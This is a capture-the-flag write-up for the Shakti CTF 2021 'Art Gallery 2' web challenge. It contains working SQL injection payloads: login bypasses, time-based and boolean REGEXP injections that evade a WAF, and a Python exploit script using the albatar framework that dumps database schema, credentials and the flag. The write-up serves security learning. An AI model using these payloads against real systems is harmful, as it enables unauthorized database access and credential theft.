Shakti CTF 2021 - Art Gallery 2 [web]
04 Apr 2021 - lanjelot- Competition: Shakti CTF 2021
- Challenge Name: Art Gallery 2
- Type: Web
- Points: 300 pts
- Description:
I’m on the way to open my very own Art Gallery http://34.66.139.33/. I can allow you to take a peak if you want. But not everyone though. Author: Nimisha
Exploiting a boolean SQLi without WHERE
or the characters &
and =
using REGEXP and the albatar framework.
We are presented with a simple login page:
No hints given in the source code:
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
<link rel='stylesheet' href='style.css'>
</head>
<body>
<div class="login">
<h1>Login</h1>
<form action="auth.php" method="POST">
<label for="username">
<i class="fas fa-user"></i>
</label>
<input type="text" name="username" placeholder="username" required>
<label for="password">
<i class="fas fa-lock"></i>
</label>
<input type="password" name="password" placeholder="password" required>
<input type="submit" value="Login">
</form>
</div>
</body>
</html>
Tried a couple of default creds but no luck:
HTTP/1.1 200 OK
Date: Sun, 04 Apr 2021 17:44:24 GMT
Server: Apache/2.4.29 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 40
Connection: close
Content-Type: text/html; charset=UTF-8
Incorrect username or password or both??
The admin
username triggers a WAF (in either params):
$ curl --data-raw "username=admin&password=whatever" http://34.66.139.33/auth.php
<tr><td>ofcourse they're blocked</td></tr>
Sending the POST request to Burp scanner reveals that both params are vuln to SQLi:
$ time curl -s -o/dev/null --data-raw "username=blah'%2b(select*from(select(sleep(2)))a)%2b'&password=x" http://34.66.139.33/auth.php
real 0m2.259s
user 0m0.004s
sys 0m0.006s
We can bypass the auth via implicit type conversion:
$ curl --data-raw "username=a'%2b'b&password=a'%2b'b" http://34.66.139.33/auth.php
welcome!!
Or by finding that test
is a valid username and commenting the rest of the query:
$ curl --data-raw "username=test'#&password=whatev" http://34.66.139.33/auth.php
welcome!!
Once logged-in as test'#
there is a link to a /cart.php
page:
<!DOCTYPE html>
<html>
<head>
<title>Home</title>
<link rel="stylesheet" href="https://use.fontawesome.com/releases/v5.7.1/css/all.css">
<link rel='stylesheet' href='common.css'>
</head>
<body class="loggedin">
<nav class="navtop">
<div>
<h1>Art Gallery</h1>
<a href="home.php"><i class="fa fa-home" aria-hidden="true"></i>Home</a>
<a href="logout.php"><i class="fas fa-sign-out-alt"></i>Logout</a>
</div>
</nav>
<div class="content">
<h2>Cart</h2>
<div>
<p>welcome back, test'# !</p>
<table>
<tr>
<td>Username:</td>
<td>test'#</td>
</tr>
<!-- <tr>
<td>Email:</td>
<td></td>
</tr>-->
</table>
</div>
</div>
</body>
</html>
But now we feel stuck so let’s go back to the SQLi.
Turns out we actually have a boolean SQLi:
username=test'%2b(select*from(select('a'))a)#&password=
-> “welcome!!”username=test'%2b(select*from(select('1'))a)#&password=
-> “Incorrect username or password or both??”
But the WAF is slightly annoying and because =
and &
are blacklisted, I went with the REGEXP technique:
username=test'%2b(select*from(select(if(((select/**/'b')regexp/**/binary/**/'^b'),'a','1')))a)#
-> “welcome!!”username=test'%2b(select*from(select(if(((select/**/'a')regexp/**/binary/**/'^b'),'a','1')))a)#
-> “Incorrect username or password or both??”
I wrote an exploit script using albatar, a framework I specifically created to exploit intricate SQL injections.
from albatar import *
PROXIES = {}#'http': 'http://127.0.0.1:8008', 'https': 'http://127.0.0.1:8008'}
HEADERS = ['User-Agent: Mozilla/5.0']
def test_state_grep(headers, body, time):
if 'welcome!!' in body:
return 1
else:
return 0 # 'Incorrect username or password or both??'
def bypass_waf(s):
s = s.replace(' ', '/**/')
return s
def mysql_boolean_regexp():
def make_requester():
return Requester_HTTP(
proxies = PROXIES,
headers = HEADERS,
url = 'http://34.66.139.33/auth.php',
body = "username=test${injection}&password=whatever",
method = 'POST',
response_processor = test_state_grep,
tamper_payload = bypass_waf
)
template = "'+(select*from(select(if(((${query})regexp binary ${regexp}),'a','1')))a)#"
return Method_regexp(make_requester, template, confirm_char=False)
sqli = MySQL_Blind(mysql_boolean_regexp())
for r in sqli.exploit():
print(r)
Because the WAF blocks the WHERE
keyword and some special chars like [ &=]
, we need to:
- replace all spaces with
/**/
or\x09
- either remove
=
and&
from our regexp search pattern or use hex-encoding - use the
IN
keyword instead of=
(although we won’t even need to) - juggle with
COUNT()
andLIMIT
instead of usingWHERE
Demo:
$ python shakti.py -q "select count(concat_ws(0x3a,table_schema,table_name,column_name)) from information_schema.columns"
609
We know the tables we are interested in will be towards the last records after all the information_schema
tables. We can find the offset via trial & error:
$ python shakti.py -q "select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 605,1"
info^C
$ python shakti.py -q "select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 606,1"
cart:accounts:id
Sweet let’s enum the other columns
$ python shakti.py -q "select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 607,1"
cart:accounts:username
$ python shakti.py -q "select concat_ws(0x3a,table_schema,table_name,column_name) from information_schema.columns limit 608,1"
cart:accounts:password
How many users are there?
$ python shakti.py -q "select count(concat_ws(0x3a,username,password)) from cart.accounts"
2
Let’s dump it all:
$ python shakti.py -q "select concat_ws(0x3a,username,password) from cart.accounts limit 0,1"
test:test@dumbhack5
$ python shakti.py -q "select concat_ws(0x3a,username,password) from cart.accounts limit 1,1"
admin:shaktictf{7h3_w4r_0f_sql1_h4s_b3gun}
Flag was shaktictf{7h3_w4r_0f_sql1_h4s_b3gun}
.
Just FYI:
$ python shakti.py -b --current-user --current-db --hostname --users --dbs
03:25:41 albatar - Starting Albatar v0.1 (https://github.com/lanjelot/albatar) at 2021-04-05 03:25 AEST
03:25:41 albatar - Executing: 'SELECT VERSION()'
5.7.33-0ubuntu0.18.04.1
03:26:15 albatar - Executing: 'SELECT CURRENT_USER()'
dbadmin@localhost
03:26:40 albatar - Executing: 'SELECT DATABASE()'
cart
03:26:48 albatar - Executing: 'SELECT @@HOSTNAME'
web-sql1
03:27:01 albatar - Executing: ('SELECT COUNT(DISTINCT(grantee)) FROM information_schema.user_privileges', 'SELECT DISTINCT(grantee) FROM information_schema.user_privileges LIMIT ${row_pos},1')
03:27:04 albatar - count: 1
'dbadmin'@'localhost'
03:27:34 albatar - Executing: ('SELECT COUNT(schema_name) FROM information_schema.schemata', 'SELECT schema_name FROM information_schema.schemata LIMIT ${row_pos},1')
03:27:38 albatar - count: 2
information_schema
cart
03:28:11 albatar - Time: 0h 2m 30s
Thanks for the CTF! :)